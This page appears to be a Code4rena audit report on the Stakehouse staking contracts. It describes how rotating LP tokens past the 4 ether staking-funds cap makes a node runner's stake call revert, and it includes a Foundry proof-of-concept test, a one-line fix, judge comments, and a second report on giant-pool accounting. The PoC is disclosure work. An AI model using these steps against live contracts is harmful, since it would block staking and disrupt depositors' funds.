https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/ETHPoolLPFactory.sol#L83
function rotateLPTokens(LPToken _oldLPToken, LPToken _newLPToken, uint256 _amount) public { .... require(_amount + _newLPToken.totalSupply() <= 24 ether, "Not enough mintable tokens"); .... _newLPToken.mint(msg.sender, _amount); }
The condition is in place so when minting the new LPToken, the totalSupply will not exceed 24 ether, which is the maxStakingAmountPerValidator
for SavETHVault
.
24 ether is NOT the maxStakingAmountPerValidator
for StakingFundsVault
. 4 ether is.
Therefore the LP tokens for the validator is the StakingFundsVault
is above 4 ether if a user rotates a bigger amount.
This causes an issue when a node runner calls the stake
function. The node runner will do so as he sees that there are enough funds in the vaults (there is more than enough).
The transaction to stake
will revert in the _assertEtherIsReadyForValidatorStaking
function because of a check that the totalSupply of the LPToken is 4 (it is more than 4)
https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/LiquidStakingManager.sol#L934
_assertEtherIsReadyForValidatorStaking
function _assertEtherIsReadyForValidatorStaking(bytes calldata blsPubKey) internal view { .... LPToken stakingFundsLP = stakingFundsVault.lpTokenForKnot(blsPubKey); require(address(stakingFundsLP) != address(0), "No funds staked in staking funds vault"); require(stakingFundsLP.totalSupply() == 4 ether, "DAO staking funds vault balance must be at least 4 ether") .... }
The POC will show simple scenario where a user converts 0.001 ETH from BLS key #2 to a full BLS key #1
Add the following import to LiquidityStakingManager.t.sol
:
import { LPToken } from "../../contracts/liquid-staking/LPToken.sol";
Add the following test to LiquidityStakingManager.t.sol
function testRotateCausesUnstake() public { // Create NodeRunner address nodeRunner = accountOne; vm.deal(nodeRunner, 8 ether); // Register two BLS keys registerSingleBLSPubKey(nodeRunner, blsPubKeyOne, address(0xdeadbeef)); registerSingleBLSPubKey(nodeRunner, blsPubKeyTwo, address(0xdeadbeef)); // savETHUser, feesAndMevUser funds used to deposit into validators address feesAndMevUser = accountTwo; vm.deal(feesAndMevUser, 4.001 ether); address savETHUser = accountThree; vm.deal(savETHUser, 24 ether); // deposit full savETHUser, feesAndMevUser funds for validator #1 depositIntoDefaultSavETHVault(savETHUser, blsPubKeyOne, 24 ether); depositIntoDefaultStakingFundsVault(feesAndMevUser, blsPubKeyOne, 4 ether); LPToken tokenBlsKey1 = manager.stakingFundsVault().lpTokenForKnot(blsPubKeyOne); // deposit 0.001 ETH from feesAndMevUser instakingFundsVault for validator #2 depositIntoDefaultStakingFundsVault(feesAndMevUser, blsPubKeyTwo, 0.001 ether); LPToken tokenBlsKey2 = manager.stakingFundsVault().lpTokenForKnot(blsPubKeyTwo); // Jump forward 1 day vm.warp(1 days); // Rotate 0.001 ETH from feesAndMevUser BLS key #2 stake to BLS key #1 // This will pass all checks vm.startPrank(feesAndMevUser); manager.stakingFundsVault().rotateLPTokens(tokenBlsKey2, tokenBlsKey1, 0.001 ether); vm.stopPrank(); // Node runner tries to stake BLS key #1 when all funds are received vm.startPrank(nodeRunner); // Validate revert vm.expectRevert("DAO staking funds vault balance must be at least 4 ether"); stakeSingleBlsPubKey(blsPubKeyOne); vm.stopPrank(); }
To run the POC, execute: yarn test -m testRotateCausesUnstake -v
Expected output:
Running 1 test for test/foundry/LiquidStakingManager.t.sol:LiquidStakingManagerTests [PASS] testRotateCausesUnstake() (gas: 1935913) Test result: ok. 1 passed; 0 failed; finished in 8.44ms
To see the full trace, execute: yarn test -m testRotateCausesUnstake -vvvv
VS Code, Foundry
Change the require statement in rotateLPTokens
in ETHPoolLPFactory.sol
to check against maxStakingAmountPerValidator
require(_amount + _newLPToken.totalSupply() <= maxStakingAmountPerValidator, "Not enough mintable tokens");
#0 - c4-judge
2022-11-21T21:51:38Z
dmvt marked the issue as duplicate of #188
#1 - dmvt
2022-12-02T17:38:04Z
#2 - c4-judge
2022-12-02T17:38:20Z
#3 - c4-judge
2022-12-02T17:38:24Z
dmvt marked the issue as grade-b
#4 - Simon-Busch
2022-12-04T06:42:19Z
Change severity back to Medium as requested by @dmvt
#5 - c4-judge
2022-12-05T10:13:55Z
dmvt marked the issue as not a duplicate
#6 - c4-judge
2022-12-05T10:14:25Z
dmvt marked the issue as not a duplicate
#7 - c4-judge
2022-12-05T10:15:20Z
dmvt marked the issue as duplicate of #118
#8 - c4-judge
2022-12-05T10:15:30Z
dmvt marked the issue as partial-50
#9 - C4-Staff
2022-12-21T05:49:13Z
JeeberC4 marked the issue as duplicate of #132
π Selected for report: 0xSmartContract
Also found by: 0x4non, 0xNazgul, 0xRoxas, 0xdeadbeef0x, 0xmuxyz, 9svR6w, Awesome, Aymen0909, B2, Bnke0x0, CloudX, Deivitto, Diana, Franfran, IllIllI, Josiah, RaymondFam, ReyAdmirado, Rolezn, Sathish9098, Secureverse, SmartSek, Trust, Udsen, a12jmx, aphak5010, brgltd, bulej93, c3phas, ch0bu, chaduke, chrisdior4, clems4ever, cryptostellar5, datapunk, delfin454000, fs0c, gogo, gz627, hl_, immeas, joestakey, lukris02, martin, nogo, oyc_109, pashov, pavankv, peanuts, pedr02b2, rbserver, rotcivegaf, sahar, sakman, shark, tnevler, trustindistrust, zaskoh, zgo
52.0338 USDC - $52.03
Depositors have an option to rotate their vault LP Tokens where the node runner did not stake the funds.
If all funds needed for stake were collected and stake didn't happen, it is probable that at least one depositor will have issues rotating their LP Token.
Here are some scenarios that cause the rotation to fail:
require
statement in a savETHVault
scenario:require(_amount + _newLPToken.totalSupply() <= 24 ether, "Not enough mintable tokens");
In order for a newLPToken
to exist, it must have a minimum of 0.001
ETH (MIN_STAKING_AMOUNT
) of totalSupply
.
Therefore a depositors trying to rotate his 24 ETH will fail because: 24 ether + 0.001 ether > 24 ether
Giant pools have a feature of bringing ETH back to the giant pools from the vaults.
The received ETH in not updated in internal accounting and therefore cannot be used for withdrawing funds which use the idleETH
to determine how much ETH is idle in the giant pool
bringUnusedETHBackIntoGiantPool
:
https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/GiantSavETHVaultPool.sol#L137
function bringUnusedETHBackIntoGiantPool( address[] calldata _savETHVaults, LPToken[][] calldata _lpTokens, uint256[][] calldata _amounts ) external { uint256 numOfVaults = _savETHVaults.length; require(numOfVaults > 0, "Empty arrays"); require(numOfVaults == _lpTokens.length, "Inconsistent arrays"); require(numOfVaults == _amounts.length, "Inconsistent arrays"); for (uint256 i; i < numOfVaults; ++i) { SavETHVault vault = SavETHVault(_savETHVaults[i]); for (uint256 j; j < _lpTokens[i].length; ++j) { require( vault.isDETHReadyForWithdrawal(address(_lpTokens[i][j])) == false, "ETH is either staked or derivatives minted" ); } vault.burnLPTokens(_lpTokens[i], _amounts[i]); } }
#0 - c4-judge
2022-12-02T00:05:22Z
dmvt marked the issue as grade-b